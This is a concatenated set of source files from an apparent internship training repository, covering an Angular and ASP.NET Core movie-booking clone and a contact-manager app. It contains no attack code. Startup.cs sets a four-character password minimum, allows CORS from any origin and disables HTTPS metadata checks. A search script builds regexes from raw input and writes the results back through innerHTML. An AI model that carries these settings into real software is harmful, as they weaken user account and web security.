{ type: 'minlength', message:'Enter 10 digits' },
{ type: 'pattern', message: 'Only Numbers Allowed' }
],
website:[
{ type: 'pattern', message:'(Wrong Format) Ex : www.mp3.com' }
],
}
}
buildForm()
{
console.log("called");
this.signupForm = this.formgroup.group
({
UserName: ['', Validators.required],
Email: ['', [Validators.email,Validators.required]],
FullName: [''],
MobileNumber : ['',[Validators.required,Validators.minLength(10),Validators.pattern("[0-9]*")]],
Passwords: this.formgroup.group
({
Password: ['', [Validators.required, Validators.minLength(4)]],
ConfirmPassword: ['', Validators.required]
},
{ validator: this.comparePasswords })
});
}
// Custom validation to compare the password and Confirm Password
comparePasswords(formgroup : FormGroup)
{
let confirmPassword = formgroup.get('ConfirmPassword');
if(confirmPassword?.errors == null || 'passwordMismatch' in confirmPassword.errors)
{
if(formgroup.get('Password')?.value != confirmPassword?.value)
{
confirmPassword?.setErrors({passwordMismatch : true})
}
else
{
confirmPassword?.setErrors(null);
}
}
}
// Submit Method which will be called When the User presses the Submit Button after Form Completion
onSubmit()
{
var body =
{
UserName: this.signupForm.value.UserName,
Email: this.signupForm.value.Email,
FullName: this.signupForm.value.FullName,
Password: this.signupForm.value.Passwords.<PASSWORD>,
MobileNumber : this.signupForm.value.MobileNumber
};
this.httpservice.userSignup( body)
.subscribe((res : any) =>
{
console.log("returned response",res);
if(res.succeeded)
{
this.signupForm.reset();
this.toaster.success("New User Created", "User Registration Successfull");
this.router.navigateByUrl('/login');
}
else
{
res.errors.forEach
(
(element: { code: any; description : any; }) =>
{
this.toaster.error(element.description,element.code);
}
);
}
},
(error : HttpErrorResponse) =>
{
console.error("the error is ",error);
}
);
}
}
<file_sep>import { ready } from "jquery";
$(document).ready(function(){
console.log("jquery working");
})
console.log("scripts loaded");
var boxes:any = document.getElementsByClassName('input-checkbox');
var table:any = document.getElementsByClassName("grid-table");
var table_rows:any = table[0].getElementsByTagName("tr");
var scores = document.getElementsByClassName("score");
// Function to for the head checkbox to select or unselect all checkboxes
function selectallboxes():void{
// console.log("ran checkbox all function");
var headbox_value:boolean = boxes[0].checked;
for(let i = 1;i<boxes.length;i++)
{
boxes[i].checked = headbox_value;
}
}
window.onload = function(){
// Adding Event Listener for all the checkboxes below the head checkbox
var boxes:any = document.getElementsByClassName('input-checkbox');
for(let i = 1;i<boxes.length;i++)
{
boxes[i].addEventListener('click',function(){
Validate_boxes(boxes,i);
})
}
// Adding Event Listener for the Calculate Button
document.getElementById('calculate_score').addEventListener('click',function(){
var maximum:number = 0;
var average:number = 0;
var users:number = 0;
for(let i = 1;i<boxes.length;i++)
{
if(boxes[i].checked)
{
let curr:any = scores[i].innerHTML;
if(curr.length>0)
{
let curr_number : number = parseInt(curr);
average = average + curr_number;
users++;
if(curr_number > maximum)
{
maximum = curr_number;
}
}
}
}
if(users>0)
{
average = Math.floor(average/users);
}
document.getElementById("average").innerHTML = "Average : " + average;
document.getElementById("max").innerHTML = "Max : " + maximum;
});
// Adding Event Listener for the Search bar
document.getElementById('search_bar').addEventListener("keyup",function(){
let search_string:string = (<HTMLInputElement>document.getElementById('search_bar')).value;
search_string = search_string.trim();
let reg = new RegExp(search_string, "i");
// console.log(search_string.value);
for(let i=1;i<table_rows.length;i++)
{
for(let j=1;j<table_rows[i].cells.length;j++)
{
let name_box = table_rows[i].getElementsByTagName("td")[j];
let curr_name:string = name_box.innerText.trim();
if( curr_name.length>0 && search_string.length>0 )
{
var match:any = curr_name.match(reg);
let newtext = curr_name.replace(match,"<mark>"+match+"</mark>");
table_rows[i].getElementsByTagName("td")[j].innerHTML = newtext;
}
else{
table_rows[i].getElementsByTagName("td")[j].innerHTML = table_rows[i].getElementsByTagName("td")[j].innerText;
}
}
}
})
}
// Function to validate the checkboxes i.e if they are unchecked then the
// head checkbox should also be unchecked else we need to check every box.
function Validate_boxes(boxes:any, index:number)
{
var curr_value:boolean = boxes[index].checked;
// console.log("curr value is "+curr_value);
if(!curr_value)
{
boxes[0].checked = false;
}
else
{
let counter:number = 0;
for(let i=1;i<boxes.length;i++)
{
if(!boxes[i].checked)
{
break;
}
counter++;
}
if(counter == boxes.length-1)
{
boxes[0].checked = true;
}
}
}
<file_sep>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import { BookingFormComponent } from './booking-form/booking-form.component';
import { HeadersComponent } from './headers/headers.component';
import { HomeComponent } from './home/home.component';
import { ShowDetailComponent } from './show-detail/show-detail.component';
import { TheatreComponent } from './theatre/theatre.component';
import { SignupComponent } from './signup/signup.component';
import { LoginComponent } from './login/login.component';
import { UserProfileComponent } from './user-profile/user-profile.component';
import { AuthguardGuard } from './auth/authguard.guard';
import { AddMovieComponent } from './add-movie/add-movie.component';
import { SlideshowComponent } from './slideshow/slideshow.component';
import { MoviesComponent } from './movies/movies.component';
const routes: Routes = [
{path: 'home',component:HomeComponent},
{path: 'navbar',component:HeadersComponent},
{path: 'showdetail/:id',component:ShowDetailComponent},
{path: 'theatre/:id',component:TheatreComponent},
{path: 'bookingform',component:BookingFormComponent},
{path: 'signup',component: SignupComponent },
{path: 'login',component: LoginComponent },
{path: 'userprofile',component: UserProfileComponent, canActivate:[AuthguardGuard] },
{path: 'addmovie',component: AddMovieComponent },
{path: 'slideshow',component: SlideshowComponent },
{path: 'movies',component: MoviesComponent },
{path:'',redirectTo:'/home','pathMatch':'full'},
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
export const routingComponents = [HomeComponent]
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace Models.DataModels
{
class Show
{
public int Id { get; set; }
public int ShowId { get; set; }
public int CostOfShow { get; set; }
public DateTime DateOfShow { get; set; }
public int MovieHallId { get; set; }
public TimeSpan ShowTiming { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
namespace Models.DataModels
{
public class Theatre
{
public int Id { get; set; }
public string Name { get; set; }
public string Address { get; set; }
public string Category { get; set; }
public int FrontRowSeatsPrice { get; set; }
public int MiddleRowSeatsPrice { get; set; }
public int LastRowSeatsPrice { get; set; }
public int NumberOfSeats { get; set; }
public int FrontRowLastSeat { get; set; }
public int MiddleRowLastSeat { get; set; }
public int LastRowLastSeat { get; set; }
}
}
<file_sep>export interface LikeDetail
{
id : number,
userId : string,
movieId : number,
isLiked : boolean
}<file_sep>import { isNullOrUndefined } from 'util';
var globalId:number = 1;
export class Contact {
id :number;
name:string;
email:string;
mobile:number;
landline:number;
website:string;
address:string;
constructor(args){
this.id = isNullOrUndefined(args.id) ? globalId++ : args.id;
this.name = args.name;
this.email = args.email;
this.mobile = args.mobile;
this.landline = args.landline;
this.website = args.website;
this.address = args.address;
}
}<file_sep>using Models.CoreModels;
using Models.DataModels;
using Services;
using Models.Enums;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Threading.Tasks;
using Services.Interfaces;
namespace BookMyShow.Controllers
{
[Route("api/[controller]")]
[ApiController]
public class MovieController : Controller
{
private readonly ILogger<MovieController> _logger;
private readonly IMovieService _service;
public MovieController(ILogger<MovieController> logger, IMovieService service)
{
_service = service;
_logger = logger;
}
// Get all the Movies from the database
[HttpGet]
[Route("")]
public List<MovieProfile> GetMovies()
{
var movies = _service.GetMovies();
return movies;
}
[HttpGet("{id}")]
[Route("GetMovieById/{id}")]
public MovieProfile GetMovieById([FromRoute]int id)
{
var movie = _service.GetMovieById(id);
return movie;
}
[HttpGet("{language}")]
[Route("GetMoviesByLanguage/{language}")]
public List<MovieProfile> GetMoviesByLanguage([FromRoute]Language language)
{
var movies = _service.GetMoviesByLanguage(language);
return movies;
}
[HttpGet("{gener}")]
[Route("GetMoviesByGener/{gener}")]
public List<MovieProfile> GetMoviesByGener([FromRoute] Gener gener)
{
var movies = _service.GetMoviesByGener(gener);
return movies;
}
[HttpGet("{format}")]
[Route("GetMoviesByGener/{format}")]
public List<MovieProfile> GetMoviesByGener([FromRoute] MovieType format)
{
var movies = _service.GetMoviesByType(format);
return movies;
}
[HttpPost]
[Route("SaveMovie")]
public Object SaveMovie([FromBody] MovieProfile movie)
{
var outputMovie = _service.AddMovie(movie);
int id = Convert.ToInt32(outputMovie);
_service.AddCast(id , movie.Casts);
return (new { message = "executed" });
}
}
}
<file_sep>import { SeatType } from "./Enum";
export interface SeatDetail{
seatNumber : number,
isBooked : boolean,
seatType : SeatType
}<file_sep># TrainingTasksInInternship
This repository will contains all the Tasks which I have done in my Internship as a Full Stack Developer
<file_sep>import { Component, ElementRef, OnDestroy, OnInit, ViewChild } from '@angular/core';
import { NavigationEnd, Router } from '@angular/router';
import { HttpService } from '../services/http.service';
import { AuthenticationService} from '../services/authentication.service';
import { Observable, of, Subscription } from 'rxjs';
import { UserDetail } from '../Models/UserDetails';
import { Movie } from '../Models/Movie';
import { fromEvent } from 'rxjs';
import { map,debounceTime,filter,distinctUntilChanged } from 'rxjs/operators';
import { ToastrService } from 'ngx-toastr';
@Component({
selector: 'app-headers',
templateUrl: './headers.component.html',
styles: [
]
})
export class HeadersComponent implements OnInit,OnDestroy {
@ViewChild('movieSearchInput', { static: true }) movieSearchInput!: ElementRef;
isAuthenticated! : Observable<boolean>;
userDetails! : UserDetail;
UserSubscription! : Subscription;
searchedMovies : Array<Movie> = [];
timer!: any;
isSearching: boolean = false;
noMovieFound: boolean = false;
;
constructor(private router : Router, private httpservice : HttpService, private toaster : ToastrService , public auth : AuthenticationService)
{ }
ngOnInit(): void {
console.log("called headers");
this.isAuthenticated = this.auth.isUserLoggedIn;
this.UserSubscription = this.auth.currentUser.subscribe(user => {
console.log("user details are ",this.userDetails);
this.userDetails = user;
});
fromEvent(this.movieSearchInput.nativeElement, 'keyup')
.pipe(
map( (event : any) => {
return event.target.value;
}),
filter(res => res.length >= 0),
debounceTime(500),
distinctUntilChanged()
).subscribe((name : string) => {
this.isSearching = true;
this.httpservice.getMoviesByName(name)
.subscribe( (res) => {
this.searchedMovies = res as Movie[];
this.isSearching = false;
if(this.searchedMovies.length == 0 && name.length>0)
{
this.noMovieFound = true;
}
else
{
this.noMovieFound = false;
}
console.log("movies searched are ",this.searchedMovies);
},
(err) => {
console.log("error in showdetails ",err);
}
);
});
}
ngOnDestroy()
{
this.UserSubscription.unsubscribe();
}
onLogout()
{
this.auth.logout();
this.toaster.success("User LoggedOut", "LogOut Successfull");
}
// getMovies(event:any)
// {
// // This will any previous call to the timer method if it is called before 500 miliseconds
// clearTimeout(this.timer);
// this.timer = setTimeout( () => {
// let name = event.target.value;
// name = name.trim();
// console.log(name);
// let route: string = 'http://localhost:5000/api/Search/GetShowsByName'+'/'+name;
// this.httpservice.getMoviesByName(route)
// .subscribe( (res) => {
// this.searchedMovies = res as Movie[];
// console.log("movies searched are ",this.searchedMovies);
// },
// (err) => {
// console.log("error in showdetails ",err);
// }
// );
// },500);
// }
}
<file_sep>import { Component, OnDestroy, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Router, ActivatedRoute } from '@angular/router';
import { Subscription } from 'rxjs';
import { isNullOrUndefined } from 'util';
import { Contact } from '../Contact';
import {ContactServiceService} from '../Services/contact-service.service';
@Component({
selector: 'app-contact-form',
templateUrl: './contact-form.component.html',
styleUrls: []
})
export class ContactFormComponent implements OnInit,OnDestroy {
// regeex for the website address
re = /^(http[s]?:\/\/){0,1}(www\.){0,1}[a-zA-Z0-9\.\-]+[\.][a-zA-Z]{2,5}[\.]{0,1}$/;
isEdit:boolean = false;
newContact:Contact;
editService: Subscription;
originalCardId : number;
contactForm: FormGroup;
isFormSubmitted: boolean;
validationMessages:any;
constructor(private formBuilder : FormBuilder , private route : Router, private service : ContactServiceService) { }
ngOnInit() {
// Initializing the error messages
this.errorMessages();
this.editService = this.service.contact.subscribe(newcontact => {
this.newContact = newcontact.contact;
this.isEdit = newcontact.isEdit;
if(this.isEdit && !isNullOrUndefined(this.newContact))
{
this.originalCardId = this.newContact.id;
this.buildForm(this.newContact);
}
else
{
this.buildForm(undefined);
}
})
}
ngOnDestroy(): void {
this.editService.unsubscribe();
}
errorMessages(){
this.validationMessages = {
name: [
{ type: 'required', message: 'Name is required.' },
{ type: 'minlength', message:'Enter atleast 4 Characters' }
],
email: [
{ type: 'required', message: 'email is required.' },
{ type: 'pattern', message: 'Please enter a valid email' },
],
mobile:[
{ type: 'required', message:'Mobile Number is required' },
{ type: 'minlength', message:'Enter atleast 10 digits' },
{ type: 'pattern', message: 'Only Numbers Allowed' }
],
lalndline:[
{ type: 'minlength', message:'Enter 10 digits' },
{ type: 'pattern', message: 'Only Numbers Allowed' }
],
website:[
{ type: 'pattern', message:'(Wrong Format) Ex : www.mp3.com' }
],
}
}
buildForm(contact: Contact = null){
this.contactForm = this.formBuilder.group({
name : [!isNullOrUndefined(contact) ? contact.name : '',[Validators.required,Validators.minLength(4)]],
email : [!isNullOrUndefined(contact) ? contact.email : '',[Validators.required,Validators.pattern("^[a-zA-Z0-9._]+@[a-zA-Z0-9-]+([.]+[a-zA-Z0-9]+)+$")]],
mobile : [!isNullOrUndefined(contact) ? contact.mobile : '',[Validators.required,Validators.minLength(10),Validators.pattern("[0-9]*")]],
landline : [!isNullOrUndefined(contact) ? contact.landline : '',[Validators.minLength(10),Validators.pattern("[0-9]*")]],
website : [!isNullOrUndefined(contact) ? contact.website : '',[Validators.pattern(this.re)]],
address : [!isNullOrUndefined(contact) ? contact.address : '']
});
}
saveContact(){
this.isFormSubmitted = true;
if(!this.isEdit)
this.service.addContact(new Contact(this.contactForm.value))
else
{
this.contactForm.value['id'] = this.originalCardId;
this.service.editContact(new Contact(this.contactForm.value))
}
this.close_modal();
}
// Close this model and Route to Home Page
close_modal(){
this.route.navigateByUrl('/');
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { ContactServiceService } from '../Services/contact-service.service';
@Component({
selector: 'app-navbar',
templateUrl: './navbar.component.html',
styleUrls: []
})
export class NavbarComponent implements OnInit {
constructor(private service : ContactServiceService) { }
ngOnInit() {
}
// Pass an undefined contact to service when we have to add a form
add_contact(){
this.service.addContact(undefined);
}
}
<file_sep>import { Component, Input, OnChanges, OnInit, SimpleChanges } from '@angular/core';
import { Movie } from '../Models/Movie';
@Component({
selector: 'app-slideshow',
templateUrl: './slideshow.component.html',
styles: [
]
})
export class SlideshowComponent implements OnInit,OnChanges {
@Input() slideMovies : Movie[] = [];
constructor() { }
ngOnInit(): void {
}
ngOnChanges(changes: SimpleChanges): void {
// console.log(changes);
this.slideMovies = (changes.slideMovies.currentValue);
console.log("in ngonchanges method : ",this.slideMovies)
// if(this.slideMovies.length != 0)
// {
// this.slideMovies.sort((a,b) => b.numberOfLikes - a.numberOfLikes );
// this.slideMovies = this.slideMovies.splice(0,3);
// console.log("after sorting : ",this.slideMovies);
// }
}
}
<file_sep>import { HttpClientModule } from '@angular/common/http';
import { Component, OnInit } from '@angular/core';
import { ActivatedRoute } from '@angular/router';
import { ToastrService } from 'ngx-toastr';
import { Subscription } from 'rxjs';
import { LanguageLabel, GenresLabel, MovieTypeLabel, RoleLabel } from '../Models/Enum';
import { LikeDetail } from '../Models/LikeDetail';
import { Movie } from '../Models/Movie';
import { UserDetail } from '../Models/UserDetails';
import { AuthenticationService } from '../services/authentication.service';
import { HttpService } from '../services/http.service';
@Component({
selector: 'app-show-detail',
templateUrl: './show-detail.component.html',
styles: [
]
})
export class ShowDetailComponent implements OnInit {
LanguageLabel = LanguageLabel;
GenresLabel = GenresLabel;
MovieTypeLabel = MovieTypeLabel;
RoleLabel = RoleLabel;
userDetails! : UserDetail;
hasUserLiked : boolean = false;
UserSubscription! : Subscription;
public movie! : Movie ;
public id : number =0;
isLoggedIn: boolean = false;
constructor(private httpservice : HttpService,private toaster : ToastrService, private activateroute : ActivatedRoute,public auth : AuthenticationService) { }
ngOnInit(): void {
this.id = this.activateroute.snapshot.params.id;
this.activateroute.params.subscribe(params => {
this.id = params['id'];
this.getMovieById();
});
this.UserSubscription = this.auth.currentUser.subscribe(user => {
console.log("user details are ",this.userDetails);
this.userDetails = user;
this.getLikeStatus();
});
}
getMovieById()
{
this.httpservice.getMovieById(this.id)
.subscribe(
(res) =>
{
this.movie = res as Movie;
this.getLikeStatus();
console.log(this.movie);
},
(err) =>
{
console.log("error in showdetails ",err);
}
);
}
getLikeStatus()
{
if(this.userDetails != undefined && this.movie != undefined )
{
this.isLoggedIn = true;
this.userDetails.likes.forEach((like) => {
if(like.movieId == this.movie.id)
{
this.hasUserLiked = true;
}
});
}
}
changeUserLikeStatus()
{
this.hasUserLiked = !this.hasUserLiked;
}
likeTheMovie()
{
if(this.userDetails == undefined)
{
this.toaster.warning("Login to Like the Movie", "Like Unsuccessfull");
return;
}
this.movie.numberOfLikes++;
this.changeUserLikeStatus();
var like : LikeDetail = {
isLiked : true,
movieId : this.movie.id,
userId : this.userDetails.id,
id : 0
}
this.httpservice.addLike(like)
.subscribe( (res) => {
console.log(res);
},
(err) => {
console.log("error in showdetails adding like ",err);
}
);
}
}<file_sep>import { Injectable } from '@angular/core';
import { Router } from '@angular/router';
import { BehaviorSubject, Observable } from 'rxjs';
import { UserDetail } from '../Models/UserDetails';
import { HttpService } from './http.service';
@Injectable({
providedIn: 'root'
})
export class AuthenticationService {
constructor(private router : Router, private httpservice : HttpService) {
this.isloggedin();
}
defaultUser! : UserDetail;
UserLoggedInSource = new BehaviorSubject(false);
UserDetailSource = new BehaviorSubject<UserDetail>(this.defaultUser);
isUserLoggedIn = this.UserLoggedInSource.asObservable();
currentUser = this.UserDetailSource.asObservable();
isloggedin()
{
if(localStorage.getItem('token'))
{
this.getuser()
.subscribe((res) => {
this.UserDetailSource.next(<UserDetail>res);
// console.log(this.currentUser);
},
(err) => {
this.UserDetailSource.next(this.defaultUser);
console.log("error in userdetails ",err);
}
)
this.UserLoggedInSource.next(true);
}
else
{
this.UserDetailSource.next(this.defaultUser);
this.UserLoggedInSource.next(false);
}
}
logout()
{
localStorage.removeItem('token');
this.UserLoggedInSource.next(false);
this.router.navigate(['/home']);
}
getuser() : Observable<Object>
{
return this.httpservice.userProfile();
}
}
<file_sep>import { Injectable } from '@angular/core';
import { BehaviorSubject } from 'rxjs';
import {Contact } from '../Contact';
@Injectable({
providedIn: 'root'
})
export class ContactServiceService {
constructor() { }
contactView : ContactCardView = new ContactCardView({contact:undefined, isEdit:false});
private messageSource = new BehaviorSubject<ContactCardView>(this.contactView);
contact = this.messageSource.asObservable();
addContact(contact:Contact)
{
this.messageSource.next(new ContactCardView({contact: contact, isEdit: false}));
}
editContact(contact:Contact)
{
this.messageSource.next(new ContactCardView({contact: contact, isEdit: true}));
}
}
export class ContactCardView{
contact: Contact;
isEdit: boolean;
constructor(args){
this.contact = args.contact;
this.isEdit = args.isEdit;
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { Movie } from '../Models/Movie';
import { HttpService } from '../services/http.service';
import { Gender, GenresLabel, LanguageLabel, MovieTypeLabel } from '../Models/Enum';
@Component({
selector: 'app-home',
templateUrl: './home.component.html',
styles: [
]
})
export class HomeComponent implements OnInit {
LanguageLabel = LanguageLabel;
GenresLabel = GenresLabel;
MovieTypeLabel = MovieTypeLabel;
slidemovies : Array<Movie> = [];
public movies : Array<Movie> = [];
constructor(private httpService : HttpService) { }
ngOnInit(): void {
this.getMovies();
}
public getMovies = () =>
{
this.httpService.getMovies()
.subscribe((result) => {
console.log("res is ",result);
this.movies = result as Movie[];
// this.movies = this.movies.sort((m1,m2) => {
// if(m1.numberOfLikes >= m2.numberOfLikes)
// {
// return 1;
// }
// else
// {
// return -1;
// }
// });
this.slidemovies = this.movies;
console.log("in Home page",this.movies);
},
(error) => {
console.error(error);
});
}
}
<file_sep>import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
import { HeaderComponent } from './header/header.component';
import { NavbarComponent } from './navbar/navbar.component';
import { ContactFormComponent} from './contact-form/contact-form.component';
import { HomeComponent } from './home/home.component';
import { ContactListComponent } from './contact-list/contact-list.component';
import { ContactDetailsComponent } from './contact-details/contact-details.component';
const routes: Routes = [
{path: 'home',component:HomeComponent},
{path:'header',component:HeaderComponent },
{path:'navbar',component:NavbarComponent},
{path:'contactform/:formfunction',component:ContactFormComponent},
{path:'contactlist',component:ContactListComponent},
{path:'',redirectTo:'/','pathMatch':'full'},
{path:'contactdetail' , component:ContactDetailsComponent},
{ path: '**', redirectTo:'/','pathMatch':'full' },
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
export const routingComponents = [HeaderComponent,NavbarComponent,ContactFormComponent,HomeComponent,ContactListComponent,ContactDetailsComponent]<file_sep>using Models.CoreModels;
using System;
using System.Collections.Generic;
using System.Text;
namespace Services.Interfaces
{
public interface ISearchService
{
List<MovieProfile> GetMovieByName(string name);
List<MovieProfile> GetMovieByTags(string tag);
}
}
<file_sep>using System;
using Microsoft.EntityFrameworkCore.Migrations;
namespace Models.Migrations
{
public partial class addidentitycore2 : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropColumn(
name: "Address",
table: "AspNetUsers");
migrationBuilder.DropColumn(
name: "AlternateNumber",
table: "AspNetUsers");
migrationBuilder.DropColumn(
name: "DateOfBirth",
table: "AspNetUsers");
migrationBuilder.DropColumn(
name: "Gender",
table: "AspNetUsers");
migrationBuilder.DropColumn(
name: "Image",
table: "AspNetUsers");
migrationBuilder.DropColumn(
name: "LastName",
table: "AspNetUsers");
migrationBuilder.DropColumn(
name: "Married",
table: "AspNetUsers");
migrationBuilder.DropColumn(
name: "MobileNumber",
table: "AspNetUsers");
migrationBuilder.RenameColumn(
name: "FirstName",
table: "AspNetUsers",
newName: "FullName");
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.RenameColumn(
name: "FullName",
table: "AspNetUsers",
newName: "FirstName");
migrationBuilder.AddColumn<string>(
name: "Address",
table: "AspNetUsers",
type: "nvarchar(max)",
nullable: true);
migrationBuilder.AddColumn<int>(
name: "AlternateNumber",
table: "AspNetUsers",
type: "int",
nullable: true);
migrationBuilder.AddColumn<DateTime>(
name: "DateOfBirth",
table: "AspNetUsers",
type: "datetime2",
nullable: true);
migrationBuilder.AddColumn<string>(
name: "Gender",
table: "AspNetUsers",
type: "nvarchar(max)",
nullable: true);
migrationBuilder.AddColumn<string>(
name: "Image",
table: "AspNetUsers",
type: "nvarchar(max)",
nullable: true);
migrationBuilder.AddColumn<string>(
name: "LastName",
table: "AspNetUsers",
type: "nvarchar(max)",
nullable: true);
migrationBuilder.AddColumn<string>(
name: "Married",
table: "AspNetUsers",
type: "nvarchar(max)",
nullable: true);
migrationBuilder.AddColumn<int>(
name: "MobileNumber",
table: "AspNetUsers",
type: "int",
nullable: true);
}
}
}
<file_sep>[Website_Mockup.png]
rotate=rotate(0)
<file_sep>import { Time } from "@angular/common";
export interface ShowsTimeTable
{
id : number;
movieId : number;
theatreId : number;
showTiming : Time;
dateOfShow : Date;
}
<file_sep>using Models.Enums;
using System;
using System.Collections.Generic;
using System.Text;
namespace Models.CoreModels
{
public class SeatDetail
{
public int SeatNumber { get; set; }
public Boolean IsBooked { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Text;
using Models.Enums;
using NPoco;
namespace Models.DataModels
{
[TableName("Movies")]
[PrimaryKey("Id", AutoIncrement = true)]
public class Movie
{
public int Id { get; set; }
public string Name { get; set; }
public string MovieImageUrl { get; set; }
public string PosterImageUrl { get; set; }
public int Language { get; set; }
public int Gener { get; set; }
public int MovieType { get; set; }
public int CertificateType { get; set; }
public string Description { get; set; }
public double MovieLength { get; set; }
public DateTime? ReleaseDate { get; set; }
}
}
<file_sep>using AutoMapper;
using Services.Mappings;
using Models.Authentication;
using Microsoft.AspNetCore.Builder;
using Microsoft.AspNetCore.Hosting;
using Microsoft.AspNetCore.HttpsPolicy;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.EntityFrameworkCore;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Identity;
using Microsoft.AspNetCore.Authentication.JwtBearer;
using System.Text;
using Microsoft.IdentityModel.Tokens;
using Models;
using SimpleInjector;
using PetaPoco;
using Services.Interfaces;
using Services.Implementations;
using PetaPoco.Providers;
using Microsoft.IdentityModel.Protocols;
using System.Configuration;
using System.Data;
namespace BookMyShow
{
public class Startup
{
public Startup(IConfiguration configuration)
{
// Set to false. This will be the default in v5.x and going forward.
container.Options.ResolveUnregisteredConcreteTypes = false;
Configuration = configuration;
}
public IConfiguration Configuration { get; }
private Container container = new SimpleInjector.Container();
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddRazorPages().AddRazorRuntimeCompilation();
services.AddControllersWithViews();
//services.AddLogging();
//services.AddLocalization();
IConfiguration connString = Configuration.GetSection("ApplicationSettings");
// Application Settings
services.Configure<ApplicationSettings>(connString);
services.AddDbContext<AuthenticationDb>(options =>
options.UseSqlServer(Configuration.GetConnectionString("DefaultConnection")));
services.AddDefaultIdentity<ApplicationUser>()
.AddEntityFrameworkStores<AuthenticationDb>();
services.Configure<IdentityOptions>(options =>
{
options.Password.RequireDigit = false;
options.Password.RequireNonAlphanumeric = false;
options.Password.RequireLowercase = false;
options.Password.RequireUppercase = false;
options.Password.RequiredLength = 4;
});
var key = Encoding.UTF8.GetBytes(Configuration["ApplicationSettings:JWT_SECRET"].ToString());
services.AddAuthentication(x =>
{
x.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
x.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;
x.DefaultScheme = JwtBearerDefaults.AuthenticationScheme;
}).AddJwtBearer(x =>
{
x.RequireHttpsMetadata = false;
x.SaveToken = false;
x.TokenValidationParameters = new Microsoft.IdentityModel.Tokens.TokenValidationParameters
{
ValidateIssuerSigningKey = true,
IssuerSigningKey = new SymmetricSecurityKey(key),
ValidateIssuer = false,
ValidateAudience = false,
ClockSkew = TimeSpan.Zero
};
});
services.AddCors(options =>
{
options.AddPolicy("CorsPolicy",
builder => builder.AllowAnyOrigin()
.AllowAnyMethod()
.AllowAnyHeader()
);
});
//services.AddAutoMapper(AppDomain.CurrentDomain.GetAssemblies());
services.AddAutoMapper(typeof(AutomapperProfile));
// Sets up the basic configuration that for integrating Simple Injector with
// ASP.NET Core by setting the DefaultScopedLifestyle, and setting up auto
// cross wiring.
services.AddSimpleInjector(container, options =>
{
// AddAspNetCore() wraps web requests in a Simple Injector scope and
// allows request-scoped framework services to be resolved.
options.AddAspNetCore()
// Ensure activation of a specific framework type to be created by
// Simple Injector instead of the built-in configuration system.
// All calls are optional. You can enable what you need. For instance,
// ViewComponents, PageModels, and TagHelpers are not needed when you
// build a Web API.
.AddControllerActivation()
.AddViewComponentActivation()
.AddPageModelActivation()
.AddTagHelperActivation();
// Optionally, allow application components to depend on the non-generic
// ILogger (Microsoft.Extensions.Logging) or IStringLocalizer
// (Microsoft.Extensions.Localization) abstractions.
//options.AddLogging();
//options.AddLocalization();
// options.AutoCrossWireFrameworkComponents = true;
});
InitializeContainer();
}
// Container to contain Interfaces with its implementations
private void InitializeContainer()
{
//var conStr = ConfigurationManager.ConnectionStrings["DBConnection"].ConnectionString;
// Register petapoco with simpleInjector
container.Register<Database>(() =>
new Database("Server=DESKTOP-N79P51I;Database=BookMyShow;Trusted_Connection=True;MultipleActiveResultSets=True",
new SqlServerDatabaseProvider()),
Lifestyle.Scoped);
//container.RegisterSingleton(() => GetMapper(container));
// Add application services. For instance:
container.Register<IUserService, UserService>();
container.Register<IMovieService, MovieService>();
container.Register<IBookingService, BookingService>();
container.Register<ISearchService, SearchService>();
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
// UseSimpleInjector() finalizes the integration process.
app.UseSimpleInjector(container);
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
else
{
app.UseExceptionHandler("/Home/Error");
// The default HSTS value is 30 days. You may want to change this for production scenarios, see https://aka.ms/aspnetcore-hsts.
app.UseHsts();
}
app.UseAuthentication();
app.UseHttpsRedirection();
app.UseStaticFiles();
app.UseCors("CorsPolicy");
app.UseRouting();
app.UseAuthorization();
app.UseEndpoints(endpoints =>
{
endpoints.MapControllerRoute(
name: "default",
pattern: "{controller=Home}/{action=Index}/{id?}");
});
// Always verify the container
container.Verify();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using System.Threading.Tasks;
using PetaPoco;
using PetaPoco.Providers;
using System.Configuration;
using System.Diagnostics;
using Models.CoreModels;
using Models.DataModels;
using Models.Enums;
using Services.Interfaces;
namespace Services.Implementations
{
public class MovieService : IMovieService
{
private readonly AutoMapper.IMapper _mapper;
public Database Db { get; set; }
public MovieService(AutoMapper.IMapper mapper, Database db)
{
this.Db = db;
_mapper = mapper;
}
public void DeleteMovie(MovieProfile movie)
{
this.Db.Delete(movie);
}
public object AddMovie(MovieProfile movie)
{
var currmovie = _mapper.Map<Movie>(movie);
//Debug.WriteLine("Currmovie is {0}", currmovie);
var obj = this.Db.Insert("Movies", "Id", true, currmovie);
return obj;
}
public void AddCast(int movieId, List<Cast> casts)
{
var len = casts.Count();
for (int i = 0; i < casts.Count(); i++)
{
var currCast = casts.ElementAt(i);
currCast.MovieId = movieId;
this.Db.Insert("Casts", "Id", true, currCast);
}
}
public void AddShow(ShowRecord show)
{
this.Db.Insert("Theatres", "Id", true, show);
}
